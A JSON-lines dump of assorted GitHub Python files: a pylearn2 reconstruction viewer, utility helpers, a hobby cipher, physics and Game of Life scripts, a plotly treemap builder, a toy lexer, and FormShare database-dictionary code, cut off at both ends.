'n'\n\n return dataset\n\n\ndef show_reconstructions(m, model_path):\n \"\"\"\n Show reconstructions of a given DBM model.\n\n Parameters\n ----------\n m: int\n rows * cols\n model_path: str\n Path of the model.\n \"\"\"\n model = load_model(model_path, m)\n\n x = input('use test set? (y/n) ')\n dataset = load_dataset(model.dataset_yaml_src, x)\n vis_batch = dataset.get_batch_topo(m)\n pv = init_viewer(dataset, rows, cols, vis_batch)\n\n batch = model.visible_layer.space.make_theano_batch()\n reconstruction = model.reconstruct(batch)\n recons_func = function([batch], reconstruction)\n\n if hasattr(model.visible_layer, 'beta'):\n beta = model.visible_layer.beta.get_value()\n print('beta: ', (beta.min(), beta.mean(), beta.max()))\n\n while True:\n update_viewer(dataset, batch, rows, cols, pv, recons_func, vis_batch)\n pv.show()\n print('Displaying reconstructions. (q to quit, ENTER = show more)')\n while True:\n x = input()\n if x == 'q':\n quit()\n if x == '':\n x = 1\n break\n else:\n print('Invalid input, try again')\n\n vis_batch = dataset.get_batch_topo(m)\n\n\nif __name__ == '__main__':\n rows = 5\n cols = 10\n m = rows * cols\n _, model_path = sys.argv\n\n show_reconstructions(m, model_path)\n","repo_name":"lisa-lab/pylearn2","sub_path":"pylearn2/scripts/dbm/show_reconstructions.py","file_name":"show_reconstructions.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","stars":2743,"dataset":"github-code","pt":"53"}
+{"seq_id":"19527722714","text":"\"\"\"\nUtility module that gathers all the miscellaneous general function\n\"\"\"\n\nimport datetime as dt\nimport os\nimport uuid\nimport logging\nimport sys\nimport importlib\nfrom pathlib import Path\nfrom .file_system_handler import FileSystemHandler\n\n\ndef init_logger(logger_file_name):\n log_format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n log_file_path = f'./brainstreamer/data/debug_logs/{logger_file_name}_log.txt'\n FileSystemHandler.safe_create_dir(\"./brainstreamer/data/debug_logs\")\n if os.path.isfile(log_file_path):\n FileSystemHandler.save(log_file_path, \"\")\n logging.basicConfig(filename=log_file_path, level=logging.DEBUG,\n format=log_format,\n datefmt='%m/%d/%Y %H:%M:%S', filemode='w')\n logging.getLogger(\"pika\").setLevel(logging.WARNING)\n logging.getLogger(\"werkzeug\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n\n\ndef epoch_to_date(time_passed, date_format=\"%d/%m/%Y, %H:%M:%S:%f\", milisecs=False):\n # converts provided time (in seconds/milliseconds) to a date in the given format\n seconds = time_passed / 1000 if milisecs else time_passed\n datetime = dt.datetime.fromtimestamp(seconds).strftime(date_format)\n return datetime\n\n\ndef get_unique_id():\n return str(uuid.uuid4())\n\n\ndef load_drivers(drivers_path, driver_type):\n \"\"\"\n This function loads all drivers (python modules) that are located in the provided folder\n :param drivers_path: string, a path for the directory of the drivers\n :param driver_type: string from the set: {\"function\", \"class\"}\n :return: dictionary of {\"name: driver\"}\n \"\"\"\n loaded_modules = set()\n drivers = {}\n\n # Add absolute path to sys for module importing\n root = Path(drivers_path).absolute()\n sys.path.insert(0, str(root.parent))\n\n # go through every file in the drivers' dir and check if it good for importing as a module\n for file in root.iterdir():\n if file.suffix == '.py' and not file.name.startswith('_'):\n module = importlib.import_module(f'{root.name}.{file.stem}', package=root.name)\n loaded_modules.add(module)\n\n # for ever class/function in the module, search for drivers with \"scheme\" attr and add them to the drivers dict\n for module in loaded_modules:\n if driver_type == \"class\":\n for key, cls in module.__dict__.items():\n if isinstance(cls, type) and hasattr(cls, \"scheme\"):\n drivers[cls.scheme] = cls\n\n elif driver_type == \"function\":\n for key, func in module.__dict__.items():\n if callable(func) and hasattr(func, \"scheme\"):\n drivers[func.scheme] = func\n\n else:\n raise ValueError(f\"Unsupported driver type: {driver_type}\")\n\n return drivers\n","repo_name":"AllenChikman/brainstreamer","sub_path":"brainstreamer/utils/my_util_functions.py","file_name":"my_util_functions.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1119555109","text":"from json import load\n\ndef f_encrypt(oW,nW,rtry):\n own,nwn=int(rtry[0][rtry[1].index(oW)]),int(rtry[0][rtry[1].index(nW)])\n if own>nwn: chc=94-own+nwn\n else: chc=nwn-own\n return rtry[1][chc-1]\n\ndef f_decrypt(oW,nW,rtry):\n own,nwn=int(rtry[0][rtry[1].index(oW)]),int(rtry[0][rtry[1].index(nW)])\n if own+nwn>94: chc=own+nwn-94\n else: chc=nwn+own\n return rtry[1][chc-1]\n\ndef axen_algorithm(text,keyNumber):\n a,rtry,final=keyComplier(keyNumber)[1],keyComplier(keyNumber)[0],''\n oW=rtry[1][ord(a[1])-32]\n for y in range(0,len(text)):\n oW=f_encrypt(oW,text[y],rtry)\n final=final+oW\n return final\n\ndef axde_algorithm(text,keyNumber):\n a,rtry,final=keyComplier(keyNumber)[1],keyComplier(keyNumber)[0],''\n oW=rtry[1][ord(a[1])-32]\n for y in range(0,len(text)):\n nW=text[y]\n final=final+f_decrypt(oW,nW,rtry)\n oW=text[y]\n return final\n\ndef keyComplier(fileNumber):\n fileName,keyList='key'+str(fileNumber)+'.ax',[[],[]]\n try:\n with open(fileName,\"r\",encoding=\"utf-8\") as file: json_data=load(file)\n if json_data[\"algorithm\"]==\"AX45-S\" and json_data[\"layer\"] == 1:\n for x in range(1,len(json_data[\"key\"].keys())+1): keyList[0].append(str(x)),keyList[1].append(json_data[\"key\"][str(x)])\n return keyList, [keyList[0][0],keyList[1][0]]\n else:print(\"This key file is not compatible with this encryption\")\n except:print(\"Wrong key format!\")\n \ndef trans(text):\n source = \"şçöğüıŞÇÖĞÜİ\"\n target = \"scoguiSCOGUI\"\n translate_board = str.maketrans(source, target)\n return text.translate(translate_board)\n\ndef axen(text,keyNumber):\n text = trans(text)\n return axen_algorithm(axen_algorithm(text,keyNumber),keyNumber)\n\ndef axde(text,keyNumber):\n text = trans(text)\n return axde_algorithm(axde_algorithm(text,keyNumber),keyNumber)\n\ndef keyAnalyzer(fileNumber):\n fileName ='key'+str(fileNumber)+'.ax'\n try:\n with open(fileName,\"r\",encoding=\"utf-8\") as file: json_data=load(file)\n if json_data[\"algorithm\"]==\"AX45-S\" and json_data[\"layer\"] == 1:\n for x in range(1,95): print(\"{} - {}\".format(x, json_data[\"key\"][str(x)]))\n except:print(\"Wrong key format!\")","repo_name":"x3beche/GhostProtocol","sub_path":"sourceCode/v2 - current version/ax45sEngine/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"15174600736","text":"from math import sqrt as sq, sin, acos, dist\n\n\ndef pythagoras(x, y):\n return sq(x ** 2 + y ** 2)\n\n\ndef program_inputs():\n def spaceship_speed():\n while True:\n spaceship_velocity = float(\n input(\n \"Enter velocity of spaceship as percentage of speed of light \")) / 100\n if 0 < spaceship_velocity < 1:\n break\n else:\n print(\"Invalid value\")\n return spaceship_velocity\n\n def distance_x():\n while True:\n distance_x_axis = float(input(\"Enter positive value for distance in light seconds along x axis:\"))\n if distance_x_axis > 0:\n break\n else:\n print(\"Invalid value\")\n return distance_x_axis\n\n def distance_y():\n while True:\n distance_y_axis = float(input(\"Enter positive value for distance in light seconds along y axis:\"))\n if distance_y_axis > 0:\n break\n else:\n print(\"Invalid value\")\n return distance_y_axis\n\n count_signals = abs(int(input(\"Enter how many signals to calculate (integer):\")))\n data_dict = {\"Velocity\": spaceship_speed(), \"Distance_x\": distance_x(), \"Distance_y\": distance_y(),\n \"Count_signals\": count_signals, \"Distance_between_mirrors\": 1}\n return data_dict\n\n\ndef coordinates_spaceship_signals_points(inputs_dict):\n x_coordinate_a = float(f'-{inputs_dict[\"Distance_x\"]:.2f}')\n y_coordinate_a = float(f'{inputs_dict[\"Distance_y\"]:.2f}')\n y_coordinate_b = y_coordinate_a + inputs_dict[\"Distance_between_mirrors\"]\n velocity = float(inputs_dict[\"Velocity\"])\n path_length_x = velocity / sin(acos(velocity)) # The path spaceship traveled along x_axis with given speed\n sequence_spaceship_points_of_signals_a = {\n 1: (x_coordinate_a, y_coordinate_a)} # Stores x and y coordinates of photon where it reaches mirror \"A\"\n sequence_spaceship_points_of_signals_b = {} # Stores x and y coordinates of photon where it reaches mirror \"B\"\n for i in range(inputs_dict[\"Count_signals\"]): # Fills the two dictionaries with data (x,y)\n x_coordinate_b = float(\n f'{sequence_spaceship_points_of_signals_a[i + 1][0] + path_length_x:.2f}')\n sequence_spaceship_points_of_signals_b[i + 1] = (x_coordinate_b, y_coordinate_b)\n x_coordinate_a = float(f'{sequence_spaceship_points_of_signals_b[i + 1][0] + path_length_x:.2f}')\n sequence_spaceship_points_of_signals_a[i + 2] = (x_coordinate_a, y_coordinate_a)\n dictionaries_list = [sequence_spaceship_points_of_signals_a, sequence_spaceship_points_of_signals_b]\n return dictionaries_list\n\n\ndef time_sequence_observer():\n dict_list = coordinates_spaceship_signals_points(program_inputs())\n print(dict_list)\n mirror_a_points = dict_list[0]\n del mirror_a_points[len(mirror_a_points)] # Delete the last member of mirror_a dictionary\n mirror_b_points = dict_list[1]\n time_factor = dist(mirror_a_points[1], mirror_b_points[1]) # calculates time dilation gamma factor\n time_intervals = [] # stores info about total time interval between signals from the spaceship as they are\n # received by the observer\n for i in range(len(mirror_a_points)):\n signal_from_a = dist(mirror_a_points[i + 1], (0, 0)) + 2 * i * time_factor\n signal_from_b = dist(mirror_b_points[i + 1], (0, 0)) + (2 * i + 1) * time_factor\n time_intervals.append(float(f'{signal_from_a:.2f}'))\n time_intervals.append(float(f'{signal_from_b:.2f}'))\n print(f'Signal {2 * i + 1}: {float(signal_from_a):.2f} Mirror A point: {mirror_a_points[i+1][0]}')\n print(\n f'Signal {2 * i + 2}: {float(signal_from_b):.2f} Difference: {abs(float(signal_from_a - signal_from_b)):.2f} '\n f'Mirror B point: {mirror_b_points[i+1][0]} ')\n diff = 0\n for i in range(len(time_intervals)-1):\n diff += time_intervals[i+1] - time_intervals[i]\n print(diff)\n\n\ntime_sequence_observer()\n","repo_name":"Kiril-Lazarov/Math-programs","sub_path":"Mirror thought experiment/mirror_experiment.py","file_name":"mirror_experiment.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25654084842","text":"import time\nfrom inspect import iscoroutinefunction\n\n\ndef measuring_time(func):\n # 코루틴 체크 하는 함수\n if iscoroutinefunction(func):\n\n async def wrapps():\n s = time.time()\n name = func.__name__\n print(f\"함수 {name} 시작\")\n r = await func()\n e = time.time() - s\n print(f\"함수 로직 수행 시간: {e}\")\n print(f\"함수 {name} 끝\")\n return r\n\n else:\n\n def wrapps():\n s = time.time()\n name = func.__name__\n print(f\"함수 {name} 시작\")\n r = func()\n e = time.time() - s\n print(f\"함수 로직 수행 시간: {e}\")\n print(f\"함수 {name} 끝\")\n return r\n\n return wrapps\n","repo_name":"LeeSungGuk/flab-review","sub_path":"f-lab5/utils/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41675033514","text":"# Úkol 0 - Napiš fci, která pro argumentem zadané číslo n vytvoří a vrátí slovník, kde jako klíče budou čísla od jedné\n# do n a jako hodnoty k nim jejich druhé mocniny\n\n# Úkol 1 - Napiš fci, která sečte a vrátí sumu všech klíčů a sumu všech hodnot ve slovníku, který dostane jako argument\n# K vyzkoušení můžeš použít slovník z minulé úlohy\n\n# Úkol 2 - Napiš fci, která jako argument dostane řetězec a vrátí slovník, ve kterém budou jako klíče jednotlivé znaky\n# ze zadaného řetězce a jako hodnoty počty výskytů těchto znaků v řetězci\n\n# úkol 3 - Napiš fci, která vypíše obsah slovníku (klíče a k nim náležící hodnoty) na jednotlivé řádky.\n# Fci, která něco vypisuje, je vhodné pojmenovat speciálně, zde třeba vypis_slovnik(), aby bylo jasné, že jen\n# vypisuje a nic nevrací.\n\n\ndef get_dictionary_number_power(n):\n number_power_dict = {}\n for i in range(1, n + 1):\n number_power_dict[i] = i ** 2\n return number_power_dict\n\n\ndef count_sum_keys_values(dictionary):\n keys_values_sum = dict(dictionary) # pro zachování původního vytvořen nový dict\n return sum(keys_values_sum.keys()), sum(keys_values_sum.values())\n\n\ndef make_dict_from_str(string):\n dictionary = {}\n for char in string:\n dictionary[char] = dictionary.get(char, 0) + 1\n # d.get(k, h) = výběr, h pokud záznam neexistuje - pokud nebude + 1 value == 0\n return dictionary\n\n\ndef print_dictionary(dictionary):\n for key, value in dictionary.items():\n print(\"{}: {}\".format(key, value))\n\n\ndef get_input():\n i = int(input(\"Write whole number (integer): \"))\n if i < 0:\n raise Exception(\"Number has not to be negative!\")\n return i\n\n\ndef check_input():\n while True:\n try:\n i = get_input()\n except Exception as e:\n print(\"chyba: \", e)\n else:\n print(\"OK:\", i)\n return i\n\n\nprint(get_dictionary_number_power(check_input()))\nprint(count_sum_keys_values(get_dictionary_number_power(check_input())))\nprint(make_dict_from_str(\"Moje dcera má ráda čokoládu!\"))\nletter_occurrence = {'M': 1, 'o': 3, 'j': 1, 'e': 2, ' ': 4, 'd': 3, 'c': 1, 'r': 2, 'a': 2, 'm': 1, 'á': 3}\nprint_dictionary(letter_occurrence)\n","repo_name":"MartyRadka/cviceniPython","sub_path":"programs/slovniky.py","file_name":"slovniky.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16370208829","text":"import pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\nimport os\n\nTHIS_FOLDER = os.path.dirname(os.path.abspath(__file__))\n\n__df = pd.read_csv(os.path.join(THIS_FOLDER, 'data', 'ceidg_data_formated.csv'))\n__pkd_names = pd.read_csv(os.path.join(THIS_FOLDER, 'data', 'pkd_data.csv'), encoding='UTF-8')\n\n\ndef __build_hierarchical_dataframe(df, pkd_names, levels, value_column, color_columns=None):\n \"\"\"\n Build a hierarchy of levels for Sunburst or Treemap charts.\n\n Levels are given starting from the bottom to the top of the hierarchy,\n ie the last level corresponds to the root.\n \"\"\"\n df_all_trees = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n for i, level in enumerate(levels):\n df_tree = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n dfg = df.groupby(levels[:i + 1]).sum()\n dfg = dfg.reset_index()\n df_tree['id'] = dfg[level].copy()\n df_tree.id = df_tree.id.astype(str).str.replace(r'\\.[0-9]*', '')\n df_tree = df_tree.merge(pkd_names \\\n .loc[pkd_names.typ == level],\n left_on='id',\n right_on='symbol'\n )\n if i > 0:\n df_tree['parent'] = dfg[levels[i - 1]].copy()\n else:\n df_tree['parent'] = 'Wszystkie sekcje PKD'\n df_tree['value'] = dfg[value_column]\n df_tree['color'] = df.groupby(levels[:i + 1]).median().reset_index()[color_columns[0]]\n df_all_trees = df_all_trees.append(df_tree, ignore_index=True)\n total = pd.Series(dict(id='Wszystkie sekcje PKD', parent='',\n value=df[value_column].sum(),\n color=df[color_columns[0]].median(),\n nazwa=''))\n df_all_trees = df_all_trees.append(total, ignore_index=True)\n return df_all_trees\n\n\ndef __format_strings(df_all_trees):\n df_all_trees = df_all_trees \\\n .assign(years=df_all_trees.color // 12,\n months=df_all_trees.color % 12)\n df_all_trees = df_all_trees \\\n .assign( \\\n years=np.where(df_all_trees.years == 0,\n '',\n np.where(np.isin(df_all_trees.years, [1]),\n '1 rok',\n np.where(np.isin(df_all_trees.years, [2, 3, 4]),\n df_all_trees.years.astype(int).astype(str) + ' lata',\n df_all_trees.years.astype(int).astype(str) + ' lat')\n )\n ),\n months=np.where(df_all_trees.months == 0,\n '',\n np.where(np.isin(df_all_trees.months, [1]),\n ', 1 miesiąc',\n np.where(np.isin(df_all_trees.months, [2, 3, 4]),\n ', ' + df_all_trees.months.astype(int).astype(str) + ' miesiące',\n ', ' + df_all_trees.months.astype(int).astype(str) + ' miesięcy')\n )\n )\n )\n\n df_all_trees = df_all_trees.assign(\n id=np.where(\n df_all_trees.typ == 'PKDMainSection',\n 'Sekcja ',\n np.where(\n df_all_trees.typ == 'PKDMainDivision',\n 'Dywizja ',\n np.where(\n df_all_trees.typ == 'PKDMainGroup',\n 'Grupa ',\n np.where(\n df_all_trees.id == 'Wszystkie sekcje PKD',\n '',\n 'Klasa '\n )\n )\n )\n ) + df_all_trees.id\n )\n\n df_all_trees = df_all_trees.assign(\n parent=np.where(\n df_all_trees.typ == 'PKDMainDivision',\n 'Sekcja ',\n np.where(\n df_all_trees.typ == 'PKDMainGroup',\n 'Dywizja ',\n np.where(\n df_all_trees.typ == 'PKDMainClass',\n 'Grupa ',\n np.where(\n df_all_trees.id == 'Wszystkie sekcje PKD',\n '',\n ''\n )\n )\n )\n ) + df_all_trees.parent\n )\n\n return df_all_trees\n\n\ndef build_pkd_treemap(voivodeship=[]):\n df = __df\n\n if voivodeship is not None and voivodeship != []:\n df = df.loc[np.isin(df.MainAddressVoivodeship, voivodeship), :].reset_index(drop=False)\n\n pkd_names = __pkd_names\n\n levels = ['PKDMainSection',\n 'PKDMainDivision'] # levels used for the hierarchical chart\n color_columns = ['DurationOfExistenceInMonths']\n value_column = 'Count'\n\n df_all_trees = __build_hierarchical_dataframe(df, pkd_names, levels, value_column, color_columns)\n\n df_all_trees = __format_strings(df_all_trees)\n\n median_duration = df_all_trees['color'].median()\n max_duration = df_all_trees['color'].max()\n\n pkd_fig = go.Figure(go.Treemap(\n labels=df_all_trees['id'],\n parents=df_all_trees['parent'],\n values=df_all_trees['value'],\n branchvalues='total',\n marker=dict(\n colors=df_all_trees['color'],\n colorscale='balance',\n cmax=max_duration,\n cmid=median_duration,\n colorbar=dict(thickness=20, title='Przetrwane miesiące', titleside='right')),\n maxdepth=2,\n # texttemplate = \"%{label} %%{customdata[2]}<\\b> \",\n customdata=df_all_trees[['years', 'months', 'nazwa']],\n hovertemplate='%{label} %{customdata[2]} - Liczba firm: %{value} - Czas życia przeciętnej firmy: %{customdata[0]}%{customdata[1]} ',\n name=''\n ))\n\n pkd_fig.update_layout(\n title={\n 'text': \"Czas życia przeciętnej firmy\",\n 'y': 0.9,\n 'x': 0.5,\n 'xanchor': 'center',\n 'yanchor': 'top'\n },\n margin=dict(l=20, r=20, t=70, b=20),\n )\n\n return pkd_fig\n","repo_name":"wawrzenczyka/WD2","sub_path":"treemap_helper.py","file_name":"treemap_helper.py","file_ext":"py","file_size_in_byte":6163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70334929127","text":"keywords=[\"auto\",\"break\",\"case\",\"char\",\"const\",\"continue\",\"default\",\"do\",\"double\",\r\n \"else\",\"float\",\"for\",\"goto\",\"if\",\"int\",\"long\",\"main\",\"return\",\"short\",\r\n \"signed\",\"sizeof\",\"static\",\"stuct\",\"switch\",\"typedef\",\"union\",\"unsigned\",\"void\",\"while\"]\r\n\r\n\r\noperators=[\"+\",\"-\",\"*\",\"/\",\"%\",\"++\",\"--\",\"==\",\"!=\",\">\",\">=\",\"<\",\"<=\",\"&&\",\"||\",\"!\",\"&\"\r\n ,\"|\",\"^\",\"~\",\"<<\",\">>\",\"=\",\"+=\",\"-=\",\"*=\",\"/=\",\"%=\"]\r\n\r\npunctuations=[\";\", \"(\", \")\", \"{\", \"}\", \"[\", \"]\"]\r\n\r\nnumbers=[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\r\n\r\ntxt_file=open(\"sum_c.txt\", 'r')\r\ntext=txt_file.readlines()\r\n\r\n\r\ndef is_number(n):\r\n try:\r\n int(n)\r\n return True\r\n except:\r\n return False\r\n\r\nfor line in text:\r\n for i in line.strip().split(\" \"):\r\n\r\n if i in keywords:\r\n print(i,\" belongs to keyword.\")\r\n \r\n elif i in operators:\r\n print(i,\" belongs to an operator.\")\r\n\r\n elif i in punctuations:\r\n print(i,\" belongs to punctuations.\")\r\n \r\n elif is_number(i):\r\n print(i,\" belomgs to number.\")\r\n\r\n else:\r\n print(i,\" is an identifier.\")\r\n","repo_name":"commanman0/cd","sub_path":"lex_ana.py","file_name":"lex_ana.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35321595142","text":"def mat2tuples(cells):\n \"\"\" Given cells represented in a matrix, return a list of positions (i,j) with live cells\"\"\"\n return [(i, j) for i, row in enumerate(cells) for j, col in enumerate(row) if col]\n\ndef get_neighbors(t):\n x, y = t\n return [(x - 1, y - 1), (x - 1, y), (x - 1, y + 1),\n (x, y - 1), (x, y + 1), (x + 1, y - 1),\n (x + 1, y), (x + 1, y + 1)]\n\ndef count_live_neighbors(position_tuple, all_live_tuples):\n \"\"\" given a tuple, count how many its neighbors are alive \"\"\"\n return len(set(get_neighbors(position_tuple)) & set(all_live_tuples))\n\ndef one_generation(all_live_tuples):\n \"\"\" one generation of evolution by rule \"\"\"\n if not all_live_tuples:\n return []\n\n # pass 1 check all live cells in current generation, and collect all neighboring dead cells\n new_gen = list()\n dead_neighbor_cells = list()\n for cell in all_live_tuples:\n dead_neighbor_cells.extend([t for t in get_neighbors(cell) if t not in all_live_tuples])\n if 2 <= count_live_neighbors(cell, all_live_tuples) <= 3:\n new_gen.append(cell)\n\n # pass 2, check dead cells adjacent to current live cells\n for cell in set(dead_neighbor_cells):\n if count_live_neighbors(cell, all_live_tuples) == 3:\n new_gen.append(cell)\n\n # order the output by y, then by x\n return sorted(new_gen, key=lambda x: (x[1], x[0]))\n\ndef life_counter(state, tick_n):\n \"\"\" evolve a specific generations \"\"\"\n curr = mat2tuples(state)\n for _ in range(tick_n):\n curr = one_generation(curr)\n return len(curr)\n\nif __name__ == '__main__':\n assert life_counter(((0, 1, 0),\n (0, 0, 1),\n (1, 1, 1)), 50) == 5, \"Glider\"\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert life_counter(((0, 1, 0, 0, 0, 0, 0),\n (0, 0, 1, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0)), 4) == 15, \"Example\"\n assert life_counter(((0, 1, 0, 0, 0, 0, 0),\n (0, 0, 1, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0)), 15) == 14, \"Little later\"\n\n assert life_counter(((1, 1, 0, 1, 1),\n (1, 1, 0, 1, 1),\n (0, 0, 0, 0, 0),\n (1, 1, 0, 1, 1),\n (1, 1, 0, 1, 1)), 100) == 16, \"Stones\"\n","repo_name":"qpxu007/python-snippets","sub_path":"checkio/life-counter.py","file_name":"life-counter.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38129699491","text":"import logging\nimport os\nimport uuid\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.pool import NullPool\nfrom sqlalchemy.orm.session import Session\nfrom formshare.models import DictTable, DictField, map_from_schema, map_to_schema\nfrom formshare.processes.db.form import get_form_xml_create_file\nfrom lxml import etree\nfrom sqlalchemy.exc import IntegrityError\n\n__all__ = [\n \"update_dictionary_tables\",\n \"get_dictionary_fields\",\n \"get_dictionary_table_desc\",\n \"get_dictionary_tables\",\n \"update_dictionary_table_desc\",\n \"update_dictionary_field_desc\",\n \"update_dictionary_field_sensitive\",\n \"is_file_a_lookup\",\n \"get_name_and_label_from_file\",\n \"update_lookup_from_csv\",\n \"get_references_from_file\",\n]\n\nlog = logging.getLogger(\"formshare\")\n\n\ndef update_lookup_from_csv(\n request, user_id, project_id, form_id, form_schema, file_name, dataframe\n):\n uid = str(uuid.uuid4())\n uid = \"TMP_\" + uid.replace(\"-\", \"_\")\n field_type, field_size = get_type_and_size_from_file(\n request, project_id, form_id, file_name\n )\n if field_type == \"varchar\":\n sql = \"CREATE TABLE {}.{} (var_code {}({}) PRIMARY KEY, var_label text)\".format(\n form_schema, uid, field_type, field_size\n )\n else:\n sql = \"CREATE TABLE {}.{} (var_code {} PRIMARY KEY, var_label text)\".format(\n form_schema, uid, field_type\n )\n\n sql_url = request.registry.settings.get(\"sqlalchemy.url\")\n engine = create_engine(sql_url, poolclass=NullPool)\n session = Session(bind=engine)\n temp_table_created = False\n try:\n session.execute(sql)\n temp_table_created = True\n name, label = get_name_and_label_from_file(\n request, project_id, form_id, file_name\n )\n for ind in dataframe.index:\n sql = \"INSERT INTO {}.{} (var_code, var_label) VALUES ('{}', '{}')\".format(\n form_schema, uid, dataframe[name][ind], dataframe[label][ind]\n )\n session.execute(sql)\n\n rel_table, rel_field = get_references_from_file(\n request, project_id, form_id, file_name\n )\n rel_field_desc = rel_field.replace(\"_cod\", \"_des\")\n\n # Update the descriptions\n session.execute(\"SET @odktools_current_user = '\" + user_id + \"'\")\n sql = \"UPDATE {}.{} TA, {}.{} TB SET TA.{} = TB.var_label WHERE TA.{} = TB.var_code\".format(\n form_schema, rel_table, form_schema, uid, rel_field_desc, rel_field\n )\n session.execute(sql)\n # Delete items that do not exist\n sql = \"DELETE IGNORE FROM {}.{} WHERE {} NOT IN (SELECT var_code FROM {}.{})\".format(\n form_schema, rel_table, rel_field, form_schema, uid\n )\n session.execute(sql)\n\n # Insert new items\n sql = \"INSERT IGNORE INTO {}.{} ({},{}) SELECT var_code, var_label FROM {}.{}\".format(\n form_schema, rel_table, rel_field, rel_field_desc, form_schema, uid\n )\n session.execute(sql)\n\n sql = \"DROP TABLE {}.{}\".format(form_schema, uid)\n session.execute(sql)\n\n session.commit()\n engine.dispose()\n\n return True, \"\"\n except Exception as e:\n if temp_table_created:\n sql = \"DROP TABLE {}.{}\".format(form_schema, uid)\n session.execute(sql)\n session.commit()\n engine.dispose()\n log.error(\"Unable to upload lookup connected to CSV. Error: {}\".format(str(e)))\n return False, str(e)\n\n\ndef is_file_a_lookup(request, project_id, form_id, file_name):\n \"\"\"\n Returns whether a CSV files is linked to a lookup table\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_rlookup)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n if res is not None:\n return True\n else:\n return False\n\n\ndef get_references_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the size of the code column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_rtable, DictField.field_rfield)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_rtable, res.field_rfield\n\n\ndef get_type_and_size_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the size of the code column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_type, DictField.field_size)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_type, res.field_size\n\n\ndef get_name_and_label_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the name and label column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_codecolumn, DictField.field_desccolumn)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_codecolumn, res.field_desccolumn\n\n\ndef update_dictionary_field_sensitive(\n request, project, form, table, field, sensitive, protection\n):\n \"\"\"\n Update the sensitivity of a field in the database\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param field: Field Name\n :param sensitive: New sensitivity\n :param protection: New type of protection\n :return: True or False\n \"\"\"\n try:\n update_dict = {\"field_sensitive\": sensitive}\n if sensitive == 1:\n update_dict[\"field_protection\"] = protection\n else:\n update_dict[\"field_protection\"] = \"None\"\n request.dbsession.query(DictField).filter(\n DictField.project_id == project\n ).filter(DictField.form_id == form).filter(\n DictField.table_name == table\n ).filter(\n DictField.field_name == field\n ).update(\n update_dict\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for field {} in table {} in form {} of project {}\".format(\n str(e), field, table, form, project\n )\n )\n return False\n\n\ndef update_dictionary_field_desc(request, project, form, table, field, new_metadata):\n \"\"\"\n Update the description of a Field\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param field: Field Name\n :param new_metadata: New metadata\n :return: True or False\n \"\"\"\n try:\n mapped_data = map_to_schema(DictField, new_metadata)\n request.dbsession.query(DictField).filter(\n DictField.project_id == project\n ).filter(DictField.form_id == form).filter(\n DictField.table_name == 